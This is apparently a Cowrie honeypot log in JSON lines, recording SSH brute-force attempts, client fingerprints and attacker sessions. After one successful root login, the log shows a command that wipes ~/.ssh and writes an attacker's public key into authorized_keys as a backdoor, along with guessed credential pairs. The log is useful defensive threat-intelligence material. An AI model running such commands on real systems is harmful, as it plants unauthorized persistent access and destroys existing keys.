{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:35.098968Z","src_ip":"41.204.63.118","session":"4c10e428a851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.204.63.118","src_port":40070,"dst_ip":"10.17.0.5","dst_port":22,"session":"673fdc59ae96","protocol":"ssh","message":"New connection: 41.204.63.118:40070 (10.17.0.5:22) [session: 673fdc59ae96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:35.424807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:35.429306Z","src_ip":"41.204.63.118","session":"673fdc59ae96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:35.763817Z","src_ip":"41.204.63.118","session":"673fdc59ae96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:37.133368Z","src_ip":"41.204.63.118","session":"673fdc59ae96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:38.469433Z","src_ip":"41.204.63.118","session":"673fdc59ae96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.204.63.118","src_port":40076,"dst_ip":"10.17.0.5","dst_port":22,"session":"1867205090e0","protocol":"ssh","message":"New connection: 41.204.63.118:40076 (10.17.0.5:22) [session: 1867205090e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:38.799094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:38.803433Z","src_ip":"41.204.63.118","session":"1867205090e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:39.136601Z","src_ip":"41.204.63.118","session":"1867205090e0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:40.491237Z","src_ip":"41.204.63.118","session":"1867205090e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:40.823748Z","src_ip":"41.204.63.118","session":"4c10e428a851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:40.827841Z","src_ip":"41.204.63.118","session":"1867205090e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.114.161","src_port":58238,"dst_ip":"159.203.135.109","dst_port":22,"session":"68157659e8a3","protocol":"ssh","message":"New connection: 106.13.114.161:58238 (159.203.135.109:22) [session: 68157659e8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:56.387107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:56.391926Z","src_ip":"106.13.114.161","session":"68157659e8a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":42386,"dst_ip":"159.203.135.109","dst_port":22,"session":"35e18c402917","protocol":"ssh","message":"New connection: 80.94.92.168:42386 (159.203.135.109:22) [session: 35e18c402917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:18:13.928830Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:18:14.029950Z","src_ip":"80.94.92.168","session":"35e18c402917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:18:55.447752Z","src_ip":"85.198.97.85","session":"2c203e8109d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.56.239.58","src_port":43196,"dst_ip":"159.203.135.109","dst_port":23,"session":"9712157d1868","protocol":"telnet","message":"New connection: 72.56.239.58:43196 (159.203.135.109:23) [session: 9712157d1868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:19:31.197515Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:19:56.400429Z","src_ip":"106.13.114.161","session":"68157659e8a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.289689779281616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:01.487096Z","src_ip":"72.56.239.58","session":"9712157d1868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":8555,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2e599267989","protocol":"ssh","message":"New connection: 2.57.121.25:8555 (10.17.0.5:22) [session: a2e599267989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:10.669478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:10.677990Z","src_ip":"2.57.121.25","session":"a2e599267989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:10.782493Z","src_ip":"2.57.121.25","session":"a2e599267989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"libra","message":"login attempt [user/libra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:11.273460Z","src_ip":"2.57.121.25","session":"a2e599267989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"liberty1","message":"login attempt [user/liberty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:12.381054Z","src_ip":"2.57.121.25","session":"a2e599267989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"leticia","message":"login attempt [user/leticia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:13.488195Z","src_ip":"2.57.121.25","session":"a2e599267989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"legends","message":"login attempt [user/legends] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:14.595094Z","src_ip":"2.57.121.25","session":"a2e599267989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.139.8.32","src_port":53526,"dst_ip":"10.17.0.5","dst_port":22,"session":"602f1054eb50","protocol":"ssh","message":"New connection: 37.139.8.32:53526 (10.17.0.5:22) [session: 602f1054eb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:15.528452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:15.534670Z","src_ip":"37.139.8.32","session":"602f1054eb50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:15.609295Z","src_ip":"37.139.8.32","session":"602f1054eb50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"legenda","message":"login attempt [user/legenda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:15.704234Z","src_ip":"2.57.121.25","session":"a2e599267989","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Motdepasse123","message":"login attempt [root/Motdepasse123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:15.938790Z","src_ip":"37.139.8.32","session":"602f1054eb50","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.130705Z","src_ip":"37.139.8.32","session":"602f1054eb50","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.134467Z","src_ip":"37.139.8.32","session":"602f1054eb50","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.139664Z","src_ip":"37.139.8.32","session":"602f1054eb50","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.218115Z","src_ip":"37.139.8.32","session":"602f1054eb50","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.404735Z","src_ip":"37.139.8.32","session":"602f1054eb50","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.408518Z","src_ip":"37.139.8.32","session":"602f1054eb50","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.487430Z","src_ip":"37.139.8.32","session":"602f1054eb50","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.491431Z","src_ip":"37.139.8.32","session":"602f1054eb50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.139.8.32","src_port":53626,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbbcdf22302d","protocol":"ssh","message":"New connection: 37.139.8.32:53626 (10.17.0.5:22) [session: bbbcdf22302d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.564897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.570484Z","src_ip":"37.139.8.32","session":"bbbcdf22302d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.646405Z","src_ip":"37.139.8.32","session":"bbbcdf22302d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.813461Z","src_ip":"2.57.121.25","session":"a2e599267989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:16.982253Z","src_ip":"37.139.8.32","session":"bbbcdf22302d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:18.061706Z","src_ip":"37.139.8.32","session":"bbbcdf22302d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.139.8.32","src_port":53820,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6950e3818be","protocol":"ssh","message":"New connection: 37.139.8.32:53820 (10.17.0.5:22) [session: c6950e3818be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:18.138785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:18.143620Z","src_ip":"37.139.8.32","session":"c6950e3818be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:18.226339Z","src_ip":"37.139.8.32","session":"c6950e3818be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:18.574060Z","src_ip":"37.139.8.32","session":"c6950e3818be","protocol":"ssh"}
